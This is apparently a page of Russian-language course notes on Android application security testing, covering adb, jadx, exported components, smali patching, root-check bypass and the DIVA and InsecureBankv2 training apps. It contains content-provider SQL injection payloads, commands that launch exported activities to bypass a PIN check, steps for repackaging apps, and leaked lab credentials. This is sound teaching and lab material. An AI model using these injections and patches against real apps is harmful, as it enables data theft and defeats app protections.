Mart
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # Mobile Application Security Analysis / Анализ защищенности мобильных приложений Преподаватель : Игорь Кривонос # Занятие 1. Введение в ОС Android Среда, 14 сентября 2022 г. с 19:00 до 22:00 (МСК) Изучение Android OS и инструментов для работы с ней https://developer.android.com/studio/run/managing-avds ldplayer - эмулятор для винды ![](https://i.imgur.com/FD7seZ0.png) **jailbreak** версии https://canijailbreak.com brew install adb adb devices - показывает устройства в терминале линукс ![](https://i.imgur.com/2L0cisK.png) ![](https://i.imgur.com/bq7g5EF.png) переходим в эту папку ![](https://i.imgur.com/rzkqIXy.png) Library/Android/sdk/platform-tools/ Домашка - чтобы adb запускалась ото всюду Google - how to add directory to path on mac adb shell / ./adb shell ![](https://i.imgur.com/5MUDgHm.png) ![](https://i.imgur.com/GcS4api.png) https://github.com/skylot/jadx/releases/tag/v1.4.4 Утилита для реверса и тд ![](https://i.imgur.com/fDMq4pf.png) jadx & adb - закинуть в переменную среды ![](https://i.imgur.com/rRZblVx.png) ![](https://i.imgur.com/nEqHd3N.png) ![](https://i.imgur.com/WVzJbov.png) Приложения пишутся на джаве и ките. classes.dex - читать можно но сложно, его можно декомпилировать в smali код и пропачить его. Открыли classes.dex в смали код - пропатчили и обратно сохранили. dex file - появляется при сборке мобильных приложений ![](https://i.imgur.com/SlYokqg.png) ctrl + функция ---> открывает функцию Самый важный файл в андроиде - AndroidManifest - показывает какие разрешения у приложения будет. Тут пишутся правила и разрешения длля смс, геопозиция и все остальные функции. Андроид приложения состоят из компонентов, они должны быть в андроид манифесте. По манифесту - можно посмотреть места, и понять где можно тыкать и как взламывать. ![Uploading file..._b2mx6n5iu]() resources ![](https://i.imgur.com/D0pf0Jb.png) можно бинарник положить в lib и взломать приложения, потому что приложение будет обращаться к этому файлу. Мобильные приложения написаны не только на джаве и котлин. Сишный скомпилированный код читается сложнее и взламывается тоже сложнее. Имя приложения на домашнем экране/ для системы ![](https://i.imgur.com/6rVoS1q.png) каждое приложение - отдельный пользователь, который ничего не может, за пределами своей домашней папки ![](https://i.imgur.com/VxgQlBh.png) data/data/package_id - рабочая директория приложений ![Uploading file..._glfmh85yt]() папка нашего приложения - sendbox, ![](https://i.imgur.com/H9sCEXh.png) можно прочитать в базе данных ![](https://i.imgur.com/tCkQDui.png) вытаскиваем приложение с устройства, неважно как она туда попала pm- packet manager pm list packages - все установленные приложения pm list packages | grep .top10 поиск приложения ![](https://i.imgur.com/8uCMKHP.png) - pm path com.grooming.mtop10 - покажет путь установки приложения /data/app/com.grooming.mtop10-5LLZ1N2_2Oexov6Ig45fAg==/base.apk adb root - старт от рута ![Uploading file..._emojwy4c2]() ./adb pull /data/app/com.grooming.mtop10-5LLZ1N2_2Oexov6Ig45fAg==/base.apk ![Uploading file..._ib1qdndma]() ![Uploading file..._uphvpa02b]() adb root - стартует устройство от рута ``` Скопировать любой файл с устройства на систему: Переходим в папку куда нужно скопировать, открываем терминал, запускаем adb root Далее: adb pull /data/app/com.grooming.mtop10-ZPP6uNlzJIOlQgFUgbOmIg==/base.apk ``` Теперь исследуем этот файл, открываем джадиксом. - adb push - закидывает на устройство ![Uploading file..._jmhit2f05]() ![Uploading file..._4gy5tsghh]() - adb logcat приложение пишет информацию в лог на устройстве ![Uploading file..._qrwwwaz1u]() adb logcat | grep mtop10 ![Uploading file..._mvufd7jlx]() ## Компоненты приложения Android ![Uploading file..._thk0qjr9m]() ![Uploading file..._w6o6ze2vb]() Из чего состоит приложение? - Activity ( активность) - то что видит и с чем взаимодействует пользователь (форма или экран) - Service (служба) - - BroadcastReceiver ( приемник широковещ сообщений) - ContentProvider ![Uploading file..._7a670ev1l]() ![Uploading file..._i6kph4j46]() Activity - содержит элементы интерфейса (кнопки, переключатели, текст, картинки и тп.) ![Uploading file..._eohaz6p3r]() - Все активности объявляются в манифесте - Некоторые активности могут иметь категорию launcher - тогда их значок появляется на домашнем экране - Активность может запустить из другого приложения, если она экспортируемая или содержит подходящий интент-фильтр - Активности могут передавать друг другу данные - Активность может быть запущена для того, чтобы вернуть некоторые данные # Занятие 2.Работа с Android OS и пакетами APK Пятница, 16 сентября 2022 г. с 19:00 до 22:00 (МСК) Практическая работа с Android окружением, пакетам APK и извлечением исходного кода. Когда у активности есть exported=true , можно с другого приложения запустить. Механизм взаимодействия приложения. Во время запуска мы можем еще передать данные - например картинки ДЗ:Джадикс и адб - запуск отовсюду ![](https://i.imgur.com/cDD5feM.png) ![](https://i.imgur.com/zEaNvmE.png) В файл манифест - в **первую очередь смотрит пентестер** ![](https://i.imgur.com/CoLdj17.png) ![](https://i.imgur.com/k7mjVAQ.png) intent-filter - до 30 апи - может запустить, а после 30 гугл уже пофиксили это. Если компонент экспортирован, то другое приложение может запустить это приложение. Одно приложение отправляет интент. Экспортированнфй компонент от неэкспортированного отличается - ![](https://i.imgur.com/gUn7sHK.png) Запустить нельзя стороннему приложению , без прав рут. **exported=false** **exported=true** другое приложение может запустить ![](https://i.imgur.com/4285bsj.png) Из публично - доступного можно извлечь данные С 30 апи гугл внес изменения и запретил. Если не указан exported - значит фолс. Компонент - все компоненты андроид. В старых приложениях до 30 апи - то вот так выглядит intent-filter ![](https://i.imgur.com/u4gONnu.png) Start exported activity - в приложении ![](https://i.imgur.com/MgItwpx.png) Чтобы запустить другую активность - создается intent. В нем указывается имя компонента. Потом в интент кладут доп данные. StartActivity - запуск. В виде пар ключ и значение можно положить ![](https://i.imgur.com/YRDb9h0.png) ![](https://i.imgur.com/eX3EUKN.png) Можем запустить извне Запускаем из консоли am start -n (name) - am start -n com.grooming.mtop10/.ExportedActivity полное имя - пакейдж.имя класса ![](https://i.imgur.com/Q8l9TJk.png) Запустили програму из консоли Из приложения отображало параметры, а из консоли нет в интент записываем параметры --es / -e - строковый параметр -z - булевое значение -d - дата ![](https://i.imgur.com/Mquv8yb.png) - am start -n com.grooming.mtop10/.ExportedActivity --es p1 "saxaxscc dca" --es p2 dscdscs - am start -n com.grooming.mtop10/.ExportedActivity -e p1 "U r hacked" --es p2 hahaha ![](https://i.imgur.com/4rrRjJN.png) Вернуть данные - запустить с другого приложения Запуск активности из адб по его имени. ![](https://i.imgur.com/MsXYrAD.png) **Жизненный цикл activity** ![](https://i.imgur.com/o2W2uRU.jpg) onCreate - чаще всего тут происходит инициализация объектов. НАм интересен этот метод. onStop - убивает активность. Запуск/перезапуск компонента достаточно "дорогостоящий процесс" ## Фрагменты ![](https://i.imgur.com/sO2b33h.png) ![](https://i.imgur.com/5CwBRhR.png) небольшой код активности https://developer.android.com/jetpack/compose ## Сервисы ![](https://i.imgur.com/NNGUq1w.png) ![](https://i.imgur.com/B1HsGIo.png) В андроид можно устроить взаимодействие ![](https://i.imgur.com/sWLvV4k.jpg) ![](https://i.imgur.com/i6t9h3x.png) Явный интент - явно указываем компонент, который запускаем Можем указать действие - и откликнуться может кто угодно. ![](https://i.imgur.com/gkSG5nm.png) В системе регистрируется компонент с интент-фильтром. ![](https://i.imgur.com/hIJ6mf1.png) По системе пробросится интент с экшен. Интент может быть явный и неявный. **Запуск приложения неявным интентом** -а - зaпуск по экшн ![](https://i.imgur.com/8ekrvni.png) - am start -a MY_ACTION2 --es p1 "u are hacked" --es p2 hahaha ![](https://i.imgur.com/4XSDrh3.png) Если создать еще приложение с таким же интентом -- то другое приложение сможет поймать эти данные и привести их в другое приложение Приложение делает action.pig/pic? и открывает и отдает сслыку на файл В неявный интент - нельзя класть чувствительные данные. ## Механизм намерений Intents ![](https://i.imgur.com/u4B66Vx.jpg) ![](https://i.imgur.com/5Z5z9cz.png) проверяется права - может ли запустить. ПРиложение 1 запустило приложение 2. ![](https://i.imgur.com/TkXWfuI.png) Может содержать данные и сложные значения. ![](https://i.imgur.com/ZD55JK9.jpg) ## Приемники широковещательных сообщений - broadcast receiver (большое ухо) ![](https://i.imgur.com/P6eRmn6.png) ![](https://i.imgur.com/AhrFO9d.png) Чтобы бродкаст ресивер сработал - указать явный интент, 2 вариант указать неявный интент ![](https://i.imgur.com/GEYVDYU.png) Явный интент - am broadcast -n com.grooming.mtop10/.MyReceiver Неявный интент (она не сработает) - в современном андроиде нельзя использовать неявные интенты - am broadcast -a com.example.action.MY_ACTION1 -d "my secret" ![](https://i.imgur.com/arfNY62.png) register receiver - динамический ресивер ## Сontent Providers - поставщики содержимого ![](https://i.imgur.com/HkvFg9S.jpg) ![](https://i.imgur.com/xqhOrvf.jpg) ![](https://i.imgur.com/aXUCTdv.jpg) URI - наличие схемы производности content://адрес(имя) Общение к бд - через контент провайдер ![](https://i.imgur.com/nEzPE4g.png) query - запрос к бд ![](https://i.imgur.com/MS9nLGh.png) query возвращается в объект Cursor delete insert update Как понять - строение запроса. Для пентестера. ![](https://i.imgur.com/2GF5r17.png) Matcher - сравниваем ЮРАЙ который пришел с тем, сопоставлят АUTHORITY c некоторой константой. Удобный механизм, чтобы не запутаться. ![](https://i.imgur.com/byDvqvh.png) ![](https://i.imgur.com/22BKIOQ.png) Любым строковым методом можно распарсить ЮРАЙ ![](https://i.imgur.com/95eCJ5p.png) ![](https://i.imgur.com/noWyn25.png) ![](https://i.imgur.com/Mh0Zzlm.jpg) в последнем запросе есть скуля content query --uri content://com.grooming.mtop10.provider.mycontentprovider/users content query --uri content://com.grooming.mtop10.provider.mycontentprovider/users/1 content query --uri content://com.grooming.mtop10.provider.mycontentprovider/users/names/vasya2 ![](https://i.imgur.com/6DtNI3o.jpg) **SQL-injection** content provider Получаем инфу конкретного пользователя. content query --uri content://com.grooming.mtop10.provider.mycontentprovider/users/ --projection "* FROM users WHERE name='Ira2';--" ![](https://i.imgur.com/saoiSSl.png) ![](https://i.imgur.com/zUHq9Wl.png) ![](https://i.imgur.com/scDM9MN.png) --projection "* FROM users2;--" - достали данные из таблицы users2 content query --uri content://com.grooming.mtop10.provider.mycontentprovider/users/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" получили инфу обо всех таблицах ![](https://i.imgur.com/JuaJUhW.png) # 3 занятие ![](https://i.imgur.com/W1gAM6Y.png) Так как мы пентестеры то будем писать на джаве ![](https://i.imgur.com/4Myqxf8.png) название проекта com.csr8.app ![](https://i.imgur.com/eyS34XX.png) ![](https://i.imgur.com/nAybQpz.png) Разметки нашей активности ![](https://i.imgur.com/kBBJ6Kr.png) Палитра компонентов ![](https://i.imgur.com/3aydldT.png) Привязки ![](https://i.imgur.com/q3QCEtv.png) ![](https://i.imgur.com/ml8nbyP.png) @+id - айди компонента ed_username ![](https://i.imgur.com/Id1wlaD.png) Refactor - автоматически айди везде меняется hint ![](https://i.imgur.com/8F8ZY3U.png) ![](https://i.imgur.com/pt4FAaU.png) Минимум 1 привязка по вертикали и 1 по горизонтали код layout activity main ` <?xml version="1.0" encoding="utf-8"?> <androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity"> <TextView android:id="@+id/textView2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="32dp" android:text="Hello World!" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toTopOf="parent" /> <EditText android:id="@+id/ed_username" android:layout_width="wrap_content" android:layout_height="wrap_content" android:ems="10" android:hint="user name" android:inputType="textPersonName" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toBottomOf="@+id/textView2" /> <Button android:id="@+id/btn_ok" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="OK" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toBottomOf="@+id/ed_username" /> </androidx.constraintlayout.widget.ConstraintLayout> ` ![](https://i.imgur.com/I1UlNxx.png) alt+enter - студия предлагает импортировать или другие варианты ![](https://i.imgur.com/9D59kPk.png) button класс и название баттон Button button = findViewById(R.id.btn_ok); `button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { } });` ![](https://i.imgur.com/8M5MYUf.jpg) ![](https://i.imgur.com/C0QDQXU.png) ![](https://i.imgur.com/sb6G3xD.png) Intent intent = new Intent(MainActivity.this,GameActivity.class) ![](https://i.imgur.com/c8nHMYj.png) ![](https://i.imgur.com/NcZV7Ye.png) ![](https://i.imgur.com/Bvr0850.png) ![](https://i.imgur.com/eHCSCON.png) ![](https://i.imgur.com/oiCfiUH.png) ![](https://i.imgur.com/Rb0pc36.png) ![](https://i.imgur.com/R00TobV.png) ![](https://i.imgur.com/QHSToJH.png) ![](https://i.imgur.com/GpvUSlt.png) ![](https://i.imgur.com/mOnqBTR.png) ![](https://i.imgur.com/SFIDyh9.png) Создаем фрагменты ![](https://i.imgur.com/mEnE8mj.jpg) ![](https://i.imgur.com/1vIi5sm.png) ![](https://i.imgur.com/aIWu2LK.png) # 4 lesson если есть new instance - то фрагмент будет создаваться через него. ![](https://i.imgur.com/cFJwW9H.png) ![](https://i.imgur.com/ENpeHWR.png) ![](https://i.imgur.com/lxTO5D9.png) ![](https://i.imgur.com/pj3xorb.png) ОТсылка к cтроковым ресурсам ![](https://i.imgur.com/hVd2igG.png) ![](https://i.imgur.com/gT9C0tA.png) создали сохранялку - находится в /data/data/com.csr8.app/shared_prefs Подписи приложения и дистрибуция ![](https://i.imgur.com/2wqgqCI.png) ![](https://i.imgur.com/GEKFDlb.png) ![](https://i.imgur.com/HmdEWvB.png) ![](https://i.imgur.com/XC66f7n.png) ![](https://i.imgur.com/xJQ4S48.png) ![](https://i.imgur.com/A9yztRr.png) ![](https://i.imgur.com/41AFLCM.png) А вот и приложение https://ibotpeaches.github.io/Apktool/install/ ![](https://i.imgur.com/Y8EGEOh.png) ./apktool d csr8.apk - разобрать приложение (что-то в ней изменили) ./apktool b csr8 -o hacked.apk - собрать ![](https://i.imgur.com/mgzbJFV.png) jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.store hacked.apk key0 - подписываем приложение keytool -genkey -v -keystore <hacker.keystore> -alias <myalias > -keyalg RSA -keysize 2048 -validity 10000 **cheats** ![](https://i.imgur.com/HaCl2Nm.png) **APKlab** расширение для VScode ![](https://i.imgur.com/uHlv96c.png) меняем название ![](https://i.imgur.com/Lp8xsrQ.png) ![](https://i.imgur.com/Z13CC3J.png) под капотом работает APK tool ![](https://i.imgur.com/RxfeEj3.png) # Занятие 5. Типовые уязвимости мобильных приложений Android Четверг, 29 сентября 2022 г. с 19:00 до 22:00 (МСК) Разбор типовых уязвимостей мобильных приложений и поиск их в приложении diva-beta.apk 1.открыть с помощью апкЛаб приложение csr8.apk 2. запустить эмулятор ![](https://i.imgur.com/q0AGGoS.png) Словарик для подсветки смали кода в саблайм https://github.com/QuinnWilton/sublime-smali ## SMali ![](https://i.imgur.com/aFfLV60.png) ![](https://i.imgur.com/dwb710n.png) V,Z,I,[ (целочисленный массив) - простые типы L - cложные типы **простые регистры** ![](https://i.imgur.com/7u5YVdI.png) **параметровые регистры** ![](https://i.imgur.com/IVnaqiY.png) Когда мы вызываем метод у объекта - мы вызываем метод у класса. В джаве при вызове объекта - передается сначала ссылка на объект ![](https://i.imgur.com/GxDdlBb.png) p0 - ссылка на объект, внутри которого мы находимся, лежит наша активность ![](https://i.imgur.com/9K5tpxT.png) прибавили 1 в регистр v0 и записали в левый регистр v0 ![](https://i.imgur.com/PwWXFWG.png) а так прибавили 3 v0 (1) место, v0 (2) это с чем складываем ![](https://i.imgur.com/QwCW8Zg.png) 0ха - 10 в 16 ричной системе if-ge больше чем v1, то прыгаем в cond_0 **op cod** ![](https://i.imgur.com/74Z7rgj.jpg) .line34 - комментарий,имеет отношение к коду ![](https://i.imgur.com/MXZQ7Eu.png) ![](https://i.imgur.com/pwEnLd5.png) передается {parametr} Вызываем метод Аppend с параметром v1, v0- ссылка на объект ![](https://i.imgur.com/bwtqxt1.png) В регистр v1 заносим очки (I - целочисленное значение) ![](https://i.imgur.com/xYGzAjy.png) Кавычка + число = строка ![](https://i.imgur.com/l2F11ST.png) more-result-object v0 теперь лежат очки польз в строковом представлении Это смали код данной функции - прибавление очков ![](https://i.imgur.com/zjF5Ixg.png) Пересобрали приложение, теперь прибавляет по 3 Хакеру надо обходить ветвления ![](https://i.imgur.com/MH6v8kI.png) В результате этого ветвления вася проигрывает ![](https://i.imgur.com/s3R8c3Q.png) идентификатор ресурса нашей разметки ![](https://i.imgur.com/SSSJN3i.png) ![](https://i.imgur.com/PNBa11Q.png) число используется для удобства - в файлике R.java Обычно нас интересуют строковые, целочисленные ресурсы Ищем место в коде, где вася проигрывает ![](https://i.imgur.com/uGiWprf.png) Результат сравнения помещается в регистр p3 ![](https://i.imgur.com/6Az6eO3.png) Если результат не 0 ![](https://i.imgur.com/c6iY2Ka.png) переворачиваем условие ![](https://i.imgur.com/jJHLvNh.png) ![](https://i.imgur.com/QYZonLW.png) ![](https://i.imgur.com/m7zwRMf.png) проверка на рут - ветвление, где проверяется значение чек рут, там меняем метод / либо возвращаемое значение ![](https://i.imgur.com/wno9EFy.png) принудительно в р3 засунули регистр ![](https://i.imgur.com/EBGmhfp.png) теперь все побеждают Делаем чтобы вася и админ побеждал Для этого надо переписать код Делать акккуратно, потому что регистры перезатираются ![](https://i.imgur.com/raVFwnq.png) ![](https://i.imgur.com/FTKEz4o.jpg) На сстарте производит проверку cond_0: это переход **Проверка целостности рут** https://github.com/scottyab/rootbeer ![](https://i.imgur.com/rDfiaGI.png) ![](https://i.imgur.com/IO1yYY3.png) **busybox** показывает наличие рут в программе ![](https://i.imgur.com/LKI1jkM.png) 1 - обозначает что на данном приложении любое приложение можно дебажить **getprop** - параметры устройства getprop | grep ro.debug - посмотреть эти свойства, можно понять что мы работаем на эмуляторе ![](https://i.imgur.com/FjYJ63z.png) ![](https://i.imgur.com/2esDGWu.png) проверка на рут Находит где осуществляет проверку на рут. Если есть файлик su - проверка рута. ![](https://i.imgur.com/cMNoMp4.png) Проверка целостности приложения ![](https://i.imgur.com/TgVf5pr.png) Сравниваем хэш сертификата Можно получить хэш сертификата одной командой Обходим проверку на рут ![](https://i.imgur.com/QTVdGKY.png) ![](https://i.imgur.com/Epq59e1.png) setVisibility(8)- она невидима, 0 - видимо ![](https://i.imgur.com/NzW3kz8.png) ![](https://i.imgur.com/plfxLJ9.png) ![](https://i.imgur.com/Oc7Sw8z.png) ![](https://i.imgur.com/HCsN7Me.png) Меняем возвращаемое значение метода на фолс ![](https://i.imgur.com/9CXe0CR.png) Надо удалять приложение, если оно подписано другим ключом. ![](https://i.imgur.com/deoWWdL.png) ![](https://i.imgur.com/w1E2Qhi.png) ![](https://i.imgur.com/AApMlxK.png) ![](https://i.imgur.com/X2qCKs1.png) ![](https://i.imgur.com/Xyu9THP.png) # **DZ Reverse task** ![](https://i.imgur.com/C8xrRDj.png) ПРиложение сожержит функц от 1 акт до 5. Наша задача - включить элементы, чтобы нажатие переходило к след активности/ кнопки срабатывали Перед 1 активностью - отключить рекламу 1 подсказка ![](https://i.imgur.com/ZcHJCzB.png) Удаляем или меняем на visible ![](https://i.imgur.com/M6JusCQ.png) Придумать способ отключить рекламу **1 task** Меняем invisible на visible и кнопка ОК появилась ![](https://i.imgur.com/E7fKMtN.png) ![](https://i.imgur.com/RX6lGq7.png) ![](https://i.imgur.com/yVN456S.png) Отключаем рекламу on 1 task ![](https://i.imgur.com/uBxDmpO.png) **2 task** - удалить рекламу ![](https://i.imgur.com/K6uDh5C.png) ![](https://i.imgur.com/mMsGGkF.png) ![](https://i.imgur.com/dG3epP4.png) меняем номер активности. Смотрим его в R.java ![](https://i.imgur.com/1j6iNy3.png) ![](https://i.imgur.com/m9QyCnO.png) ![](https://i.imgur.com/cAzCYQ2.png) Но этот вариант немного неверный - мы просто перепрыгнули А вот еще вариант решения if-eqz меняем на if-nez ![](https://i.imgur.com/H6BJxZK.png) Так же вариант решения ![](https://i.imgur.com/ib2BohG.png) ![](https://i.imgur.com/lWfE4xA.png) И 3 вариант решения - удалили константу ![](https://i.imgur.com/tYlZTe1.png) **3 таск** Поменяли путь проверки рута ![](https://i.imgur.com/ok1Z2r9.png) ![](https://i.imgur.com/TQ5HAum.png) поменяли 0х8 на 0х0 - появилась кнопка ![](https://i.imgur.com/aUxhBJ6.png) ![](https://i.imgur.com/pptNuJy.png) **4 task** Проявили текст и кнопку - поменяли цвет бекграунда и кнопки. ![](https://i.imgur.com/IISvFGE.png) ![](https://i.imgur.com/NynbnUX.png) Видим в джадикс в 4 активности что он передает какой то текст и переходит на 5 активность ![](https://i.imgur.com/ONSYcCq.png) В 5 активности видим что он передает, это и вписываем в xml 5 активности. ![](https://i.imgur.com/dDW4kXf.png) ![](https://i.imgur.com/M1AjBeU.png) Приложение пройдено ![](https://i.imgur.com/mSbavD0.png) # Занятие 6. Типовые уязвимости мобильных приложений Android 2 Вторник, 04 октября 2022 г. с 19:00 до 22:00 (МСК) Поиск уязвимостей в приложении интернет банкинга и анализ защищенности серверной части приложения [21:01] Игорь Кривонос file:///data/data/com.hacker.divanew/shared_prefs/com.hacker.divanew_preferences.xml 8 задание - открываем файл ![](https://i.imgur.com/U56H8xe.png) @JavascriptInterface - когда есть веб вьюха ![](https://i.imgur.com/Kj8Eo9w.png) ![](https://i.imgur.com/25FhyYQ.png) Запрещает открытие файлов из привтных и внешних директорий - защита от открытия 9 - запуск извне активности ![](https://i.imgur.com/Qqc08ue.png) [21:32] Игорь Кривонос am start -a jakhar.aseem.diva.action.VIEW_CREDS [21:32] Игорь Кривонос am start -n com.hacker.divanew/.APICredsActivity 10 am start -a jakhar.aseem.diva.action.VIEW_CREDS2 --ez check_pin false 1 - открываем манифест и смотрим экспортируемые компоненты 11 используется контент провайдер ![](https://i.imgur.com/SvqgkJo.png) Доступ к публичному контент провайдеру и вытаскиванию из него данных. (достаточно сильная уязвимость) content query --uri content://jakhar.aseem.diva.provider.notesprovider/notes В текстовом файле указываем дип линк и можем открыть запуск джава скрипта и тд. (Очень опасная штука) - и этот механизм есть на IOS ![](https://i.imgur.com/9xDxZ82.png) 12/13 strings /data/app/com.hacker.divanew-TY48InwtFBybbAMFIuL8DA==/lib/arm64/libnative-lib.so ![](https://i.imgur.com/UiaZuXV.png) 12 ![](https://i.imgur.com/Gt21W2f.jpg) ![](https://i.imgur.com/LSsFQ4y.jpg) 13 ![](https://i.imgur.com/bayFDIY.jpg) # Занятие 7. SSL-pinning и Frida-tools Пятница, 07 октября 2022 г. с 19:00 до 22:00 (МСК) Технологии защиты от перехвата трафика, и инструменты для обхода этих технологий ![](https://i.imgur.com/PNDAxu5.png) также для создания виртуального окружения можно использовать команду python -m venv ./venv в директории, где хотите создать виртуальное окружение ![](https://i.imgur.com/raXPP2W.png) creds: 1|dinesh|Dinesh@123$|dinesh|shetty 2|jack|Jack@123$$|jack|apples ![](https://i.imgur.com/7cOnnqO.png) ![](https://i.imgur.com/czH9Enz.png) Уязвимости приложения 1. Hardcoded secrets 2.Developer Backdoors (найдите как разработчик может открыть аккаунт пользователя) 3. ~~Insecure HTTP connections~~ 4. Insecure SDCard storage 5. Local Encryption issues 1. найдите, где в коде сохраняется логин и пароль локально (статика) 2. найдите, куда сохраняется пароль и логин пользователя (динамика). 3. дешифруйте логин и пароль, сохраненный локально. (бонус +5 очков к скиллу) 7. Vulnerable Activity Components 1. это мы проходили exported ... 2. откройте активность(и) с интересными данными 3. но там есть такая дыра... кто найдет, тому +5 к разведке 15. Insecure Webview implementation 16. Insecure Logging mechanism 17. Android Backup vulnerability 18. Application Patching (найдите что можно пропатчить, чтобы получить режим бога) 19. Flawed Broadcast Receivers (ох уж эти разрабы!) 20. Intent Sniffing and Injection (ну это мы знаем) 21. Weak Authorization mechanism 22. Root Detection and Bypass 23. Emulator Detection and Bypass 24. Insecure Content Provider access 25. Weak Cryptography implementation 26. Sensitive Information in Memory 27. Android Pasteboard vulnerability 28. Application Debuggable 29. Android keyboard cache issues 30. Runtime Manipulation 31. Parameter Manipulation 32. Username Enumeration issue 33. Weak change password implementation has context menu Backdore Точка входа в приложение Мы можем посмотреть контент Доступ к компонентам, к которым не должно было быть доступа ![](https://i.imgur.com/QgLMx7W.jpg) Должно быть отключено - копирование чувствительных данных (пароль, номер карты) ![](https://i.imgur.com/2r91Wh7.png) Пароль пользователя отправится смс ![](https://i.imgur.com/C4sMTR9.png) **Криптография** ![](https://i.imgur.com/43blryR.png) ![](https://i.imgur.com/1G4p5IN.png) ![](https://i.imgur.com/yeQN4Ot.png) на выходе получается base64 ![](https://i.imgur.com/X2alsqW.png) здесь заходкожен ключ шифрования можем перекопировать в андроид студио и расшифровать пароль пользователя ![](https://i.imgur.com/sGgvWnv.png) Надо обращать внимание куда сохраняет приложение данные ![](https://i.imgur.com/cPzG1uO.png) формируется файловый путь и открывается веб вью Идея: можем все что угодно запихать в js файл и веб вью будет исполнять его ![](https://i.imgur.com/45RDQ6t.png) ![](https://i.imgur.com/OOai1q7.png) Загрузили игру **Можем загрузить активити** ![](https://i.imgur.com/jYsMlLG.png) попадаем в активность с именем dinesh без пароля можем войти в приложение https://github.com/dineshshetty/Android-InsecureBankv2 Тут описано что и как можно сделать (уязвимости) abe - разбирает файл бекапа ( но должна быть ) 2 команды ввести и 1 утилиту скачать # 8 Занятие. Сниффинг трафика Можно прочитать - прикладная криптография ![](https://i.imgur.com/PRME9B7.png) ![](https://i.imgur.com/XcGj8j7.jpg) На публичном ключе можно зашифровать некоторые данные, на приватном ключе можно расшифровать. Сейчас используются эфимерные ключи. Злоумышленник может сгенерировать приватный и публичный ключ и отправить второму пользователю свои ключи - атака человек посередине У андроида есть в системе некоторое кол-во доверенных сертификатов. Proxy настраиваем на мобиле. Для подключения к бурпу. ![](https://i.imgur.com/eyFIHga.png) Можно настроить прокси через вай-фай ![](https://i.imgur.com/2VR0VJ8.png) ![](https://i.imgur.com/Yus72LU.png) вбили айпи своей машины ![](https://i.imgur.com/ddnopnC.png) импортируем сертификат установили пин 1111 ![](https://i.imgur.com/ctLTmTF.png) ![](https://i.imgur.com/ByRvej2.png) Разраб может указать каким сертификатам приложение доверяет. ![](https://i.imgur.com/NaZfGHK.png) здесь разраб может указать хеш или название серта Приложение может доверять тем сертам, которые указаны здесь. Sniff trafic https://developer.android.com/training/articles/security-config безопасность зависит от апи устройства Доверяет только системному серту ![](https://i.imgur.com/lBXbccz.png) позволяет получить хэш сертификата на юникс `openssopenssl x509 -in cert.pem -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha1 -binary | openssl enc -base64` [22:11] Игорь Кривонос https://apkcombo.com ⚡ APKCombo - #1 APK Downloader Download APK for 